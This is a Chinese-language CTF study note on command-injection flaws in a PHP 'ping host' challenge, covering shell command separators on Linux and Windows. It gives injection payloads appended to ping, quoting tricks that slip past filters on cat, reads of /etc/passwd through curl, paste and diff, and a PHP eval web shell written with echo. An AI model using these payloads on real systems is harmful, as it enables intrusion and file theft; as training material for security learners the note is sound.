WEB安全技能树-安全漏洞类型-命令执行漏洞

WEB安全技能树-安全漏洞类型-命令执行漏洞


题目类型

环境:CentOS+Apache+PHP+MySQL

题目:ping主机


考点分析

1.过滤 ; && || 等多条命令连接符;

2.过滤cat more less等文件读取命令;


解题思路

第一步 ping 127.0.0.1 看看命令是否能够正确执行

  • linux如果不指定-c 会一直ping下去
  • windows默认ping4次

第二步 ping 127.0.0.1;whoami 看看是否过滤; 如果未过滤 直接执行第三步 如果过滤了 尝试&& ||

  • Linux
    • ; && ||
  • Windows
    • & && ||

第三步 ping 127.0.0.1;cat key.php 看看是否过滤cat等 如果过滤了 尝试pg curl等

  • Linux
    • 通常如下命令被过滤:cat、tac、rev、more、less、head、tail、nl、ob   
    • 通常如下命令未被过滤: pg、paste、diff、curl
      • curl 由于需要key.php的绝对路径 所以 还需要先pwd 然后再curl
  • Windows
    • type

基础知识1:执行系统命令接口

执行系统命令接口

php

  • system
  • eval
  • exec
  • shell_exec()

基础知识2:连续执行多条命令

Linux连续执行多条命令(Linux连续执行多条命令 – xngeer – 博客园)(Linux 有哪些命令连接符?_Sunny04的博客-CSDN博客_linux命令控制台 连续符)

    • a;b;c;d 依次执行a b c d,即使某个命令执行失败,也会一直执行到最后一个命令
    • 示例:echo 1;echoo 2;echo 3;echo 4
  • &&
    • a&&b&&c&&d 依次执行 a b c d,如果遇到某个命令执行错误,后面其余命令不再执行
    • 示例:echo 1&&echoo 2&&echo 3&&echo 4
  • ||
    • a||b||c||d 只有前面命令执行失败,才会执行后面命令
    • 示例:echoo 1||echo 2||echo 3||echo 4
  • & 后台任务符号。后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
    • 示例 root@ubuntu: d & e & f
              [1] 14271
              [2] 14272
    • 后台执行任务d和e,而在前台执行任务f. shell将作业数目显示在方括号[ ]中,同时还显示了在后台运行的每个进程的PID(process identification,进程标识)编号。在f结束后就  会立即得到一个shell提示符,此时d或者e还可能尚未执行完毕。
  • | 管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
    • 示例 root@ubuntu: x | y | z
    • 在第1个作业中,shell将任务x的标准输出重定向到任务y的标准输入,同时还将y的标准输出重定向到z的标准输入
  • > 重定向 命令没有回显 可以重定向到一个文件 然后再把这个文件读取出来 就相当于可以查看命令执行结果了

Windows连续执行多条命令(Windows7环境下命令行一次运行多条命令_automation13的博客-CSDN博客)

  • &
    • a&b&c&d 依次执行a b c d,即使某个命令执行失败,也会一直执行到最后一个命令
    • 示例:echo 1&echoo 2&echo 3&echo 4
  • &&
    • a&&b&&c&&d 依次执行 a b c d,如果遇到某个命令执行错误,后面其余命令不再执行
    • 示例:echo 1&&echoo 2&&echo 3&&echo 4
  • ||
    • a||b||c||d 只有前面命令执行失败,才会执行后面命令
    • 示例:echoo 1||echo 2||echo 3||echo 4
  • |
    • a|b

WEB安全技能树-安全漏洞类型-命令执行漏洞
 


基础知识3:查看文件命令

Linux查看文件命令(linux 浏览查看文件more,less,head,tail,cat,tac,od,nl命令使用简介 – 一苏沨来 – 博客园)

如下命令通常被过滤

  • cat 由第一行开始显示档案内容(concatenate)
    • c'a't
    • c"a"t
    • ca\t
  • tac 从最后一行开始显示,可以看出 tac 是 cat 的倒着写!
  • rev 行号不反向、行内容反向读取文件内容
  • more 一页一页的显示档案内容
  • less 与 more 类似,但是比 more 更好的是,他可以往前翻页!
  • head 只看头几行
  • tail 只看尾巴几行
  • tailf 
  • nl 显示的时候,顺道输出行号
  • od 以二进位的方式读取档案内容
  • bzmore
  • bzless
  • bzdiff

如下命令通常未被过滤(考试重点)

  • pg 分页显示文件内容,page的缩写
  • curl
    • curl file:///etc/passwd
    • curl file://C:/Windows/win.ini
  • paste 用于合并文件的列
    • paste ./key.txt /etc/passwd
  • diff 用于比较文件的差异
    • diff ./key.txt /etc/passwd

如果不能读 可以考虑写(没听懂)

  • echo '<?php @eval($_POST['cmd']); ?>' > 1.php
  • wget 自己写一个 wget下一个

Windows读取文件命令

  • type

windows

1.cd /d e:/1.txt

2.某个目录地址栏输入cmd 直接在当前目录打开cmd


CTF命令执行及绕过技巧

CTF命令执行及绕过技巧_JBlock的博客-CSDN博客_ctf 命令绕过

RCE的Bypass与骚姿势总结

https://www.ershicimi.com/p/8686da2df137de562a0e61eaeefd2f52

检测命令注入时没有回显

检测命令注入时没有回显_小 白 渣的博客-CSDN博客_ctf 模板注入 不回显

                       

点击阅读全文

上一篇 2023年 6月 7日 am10:52
下一篇 2023年 6月 7日 am10:53